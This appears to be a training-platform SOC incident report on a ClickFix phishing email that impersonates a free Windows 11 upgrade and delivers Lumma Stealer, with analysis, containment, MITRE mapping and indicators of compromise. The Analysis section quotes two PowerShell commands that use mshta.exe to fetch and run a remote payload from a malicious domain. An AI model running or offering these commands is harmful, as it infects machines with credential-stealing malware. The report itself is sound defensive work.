



Official Incident Report

Date: Mar, 13, 2025, 09:44 AM

Event ID: 316

Rule Name: SOC338 - Lumma Stealer - DLL Side-Loading via Click
Fix Phishing

Table of Contents

Alert Details..... 3

Detection 4

Verify..... 4

Analysis..... 6

Containment 9

Summary..... 10

Lessons Learned 11

Remediation Actions 11

Appendix 12

MITRE ATT&CK 12

Artifacts 12

LetsDefend Playbook..... 12

Alert Details

Severity: Critical

SMTP Address: 132.232.40.201

Source Address: update@windows-update.site

Destination Address: dylan@letsdefend.io

E-mail Subject: Upgrade your system to Windows 11 Pro for FREE

Device Action: Allowed

Trigger Reason: Redirected site contains a click fix type script for Lumma Stealer distribution.

Based on the information provided in the alert, it appears that a **phishing email** containing malware was sent to a LetsDefend user. The alert is triggered by rule SOC338 - Lumma Stealer - DLL Side-Loading via Click Fix Phishing.

Overall, it appears that the alert may be **suspicious**, and further investigation is needed to identify the extent of the alert and determine if any necessary actions are required to remediate the situation.

Detection


Verify

As a security analyst, one of the first steps we take to verify the alert and determine whether it is a **false positive** or a **true positive** incident is to investigate the Lumma Stealer distribution.


According to [Microsoft's Security Blog](#), Lumma Stealer (also known as LummaC2) is a malware as a service (MaaS) offering that is capable of stealing data from various browsers and applications such as cryptocurrency wallets and installing other malware.

Lumma Stealer emails impersonate known brands and services to deliver links or attachments. The emails lead victims to cloned websites or malicious servers that deploy the Lumma payload to the targets' environment.

A particularly deceptive method involves fake CAPTCHA pages, commonly observed in the ClickFix ecosystem. Targets are instructed to copy malicious commands into their system's Run utility under the pretense of passing a verification check. These commands often download and execute Lumma directly in memory, using Base64 encoding and stealthy delivery chains.



The next step is to identify the email that was sent from **update@windows-update.site** to **dylan@letsdefend.io**.




The identified email contains a legitimate-looking Microsoft page with links to upgrade to **Windows 11 Pro for FREE**. This combined with the **countdown of 5 days** creates a sense of **urgency for the user**, a key indicator of phishing emails.

The 'UPDATE NOW' buttons redirect the user to **https://www.windows-update.site/**. This site acts as an impersonating site for Microsoft's Windows updater.

Analysis


Now that we have detected the alert and its details, we can start by analyzing the URL found in the email.

<https://www.virustotal.com/gui/url/278608290e63c5aedbc707bf513ae455300d26da180a329a9cc88798f43454d9>



Next, we should analyse the SMTP address 132.232.40.201 that the email was sent from.

<https://www.virustotal.com/gui/ip-address/132.232.40.201>



These analyses show indicators of malicious intent; therefore, we will investigate Endpoint Security of Dylan for further information.

Host Information			
Hostname:	Dylan	Domain:	LetsDefend
IP Address:	172.16.17.216	Bit Level:	64
OS:	Windows 10	Primary User:	Dylan
Client/Server:	Client	Last Login:	Mar, 14, 2025, 12:05 PM

Investigating Dylan's Browser History shows access to **https://windows-update.site/** on the date of the alert.

EVENT TIME	DOMAIN NAME/URL
2025-03-13 23:26:08	https://windows-update.site/

Investigating Dylan's Terminal History shows indicators of compromise following the Lumma Stealer distribution behaviour. Specifically, identifying that Dylan fell victim to fake CAPTCHA pages, where the user was **instructed to copy malicious commands into their system's Run utility under the pretense of passing a verification check**. These commands often download and execute Lumma directly in memory, using Base64 encoding and stealthy delivery chains.

```
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w 1 powershell -Command ('mshta.exe https://overcoatpassably.shop/Z8UZbPyVpGfdRS/maloy.mp4' -replace 'I') # [x] "I am not a robot - reCAPTCHA Verification ID: 3824"
```


Copying these malicious commands from the websites fake CAPTCHA resulted in using **mshta.exe** to launch **maloy.mp4**.

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://overcoatpassably.shop/Z8UZbPyVpGfdRS/maloy.mp4"
```

Investigating the website

https://overcoatpassably.shop/Z8UZbPyVpGfdRS/maloy.mp4 found that it was malicious.

<https://www.virustotal.com/gui/url/4167df1da641f6816c4c880e32fa28e169fed728b8e310a0517dd73316b223e5>



After investigating Dylan's machine Processes, we found the MD5 hash **fa93130bcd584f7349fb6399b2092b0f** for maloy.mp4.

We found a previous analysis performed on the maloy.mp4 file hash.

<https://hybrid-analysis.com/sample/15c80b5be235bf2a8c38291eb697a702c07dde087eb459e9ea46a2bee17c5f03/67dfd9cc239b6ef9880498ce>

Next, we will investigate Log Management to find any further details of the alert. There were 14 events (before Mar, 13, 2025, 11:26 PM UTC), with 2 events that were related to this incident.

These events showcased Dylan clicking on the link from the malicious email, redirecting the user to <https://windows-update.site/> with IP **132.232.40.201** and <https://overcoatpassably.shop/Z8UZbPyVpGfdRS/maloy.mp4> with IP **172.67.139.19**.

Containment

Based on the information gathered during the investigation, it is highly likely that the system has been compromised. Immediate isolation of the system from the network is required.

Host Information

Hostname: Dylan

Domain: LetsDefend

IP Address: 172.16.17.216

Bit Level: 64

OS: Windows 10

Primary User: Dylan

Client/Server: Client

Last Login: Mar, 14, 2025, 12:05 PM

Action

Containment:

☒

Host Contained

Summary

The incident involves a compromised system named **Dylan** with an IP address of **172.16.17.216**. The alert was triggered by the identification of a click fix phishing email containing malware following the behaviour of the Lumma Stealer distribution, based on the rule SOC338 - Lumma Stealer - DLL Side-Loading via Click Fix Phishing.

The identified email contained a legitimate-looking Microsoft page with links to upgrade to **Windows 11 Pro for FREE**. This combined with the **countdown of 5 days** creates a sense of **urgency for the user**, a key indicator of phishing emails.

The 'UPDATE NOW' buttons redirect the user to **<https://www.windows-update.site/>**. This site acts as an impersonating site for Microsoft's Windows updater.

Investigating Dylan's Terminal History shows indicators of compromise following the Lumma Stealer distribution behaviour. Specifically, identifying that Dylan fell victim to fake CAPTCHA pages, where the user was **instructed to copy malicious commands into their system's Run utility under the pretense of passing a verification check**. These commands often download and execute Lumma directly in memory, using Base64 encoding and stealthy delivery chains.

Copying these malicious commands from the websites fake CAPTCHA resulted in using **mshta.exe** to launch **maloy.mp4**.

Based on the findings of the incident, immediate action needs to be taken to isolate the compromised system, and the event was identified as a **True Positive**.

Lessons Learned

- The 'ClickFix' social engineering technique, often combined with DLL side-loading, relies heavily on user manipulation to bypass traditional security controls
- Human behavior is the primary vulnerability in this attack chain, necessitating a multi-layered defense strategy focused on user education and endpoint security controls
- Threat actors impersonate legitimate brands to reduce suspicion and increase the likelihood of compliance

Remediation Actions

- Require multifactor authentication (MFA)
- Leverage phishing-resistant authentication methods such as FIDO Tokens
- Enable Local Security Authority (LSA) protection to block credential stealing from the Windows local security authority subsystem

Appendix

MITRE ATT&CK

MITRE Tactics	MITRE Techniques
Initial Access	T1566.002 - Phishing: Spearphishing Link
Execution	T1059.001 - Command and Scripting Interpreter: PowerShell
Execution	T1204.004 - User Execution: Malicious Copy and Paste
Defense Evasion	T1656 - Impersonation
Defense Evasion	T1027 - Obfuscated Files or Information

Artifacts

Value	Comment	Type
https://windows-update.site/	Lumma Stealer IoC email link	URL Address
https://overcoatpassably.shop/Z8UZbPyVpGfdRS/maloy.mp4	Redirected link from windows-update	URL Address
update@windows-update.site	Email sender	E-mail Sender
windows-update.site	Illegitimate Microsoft domain	E-mail Domain
132.232.40.201	SMTP Address	IP Address
172.67.139.19	https://overcoatpassably.shop/	IP Address
fa93130bcd584f7349fb6399b2092b0f	maloy.mp4	MD5 Hash

LetsDefend Playbook

[LetsDefend Event ID: 316](#)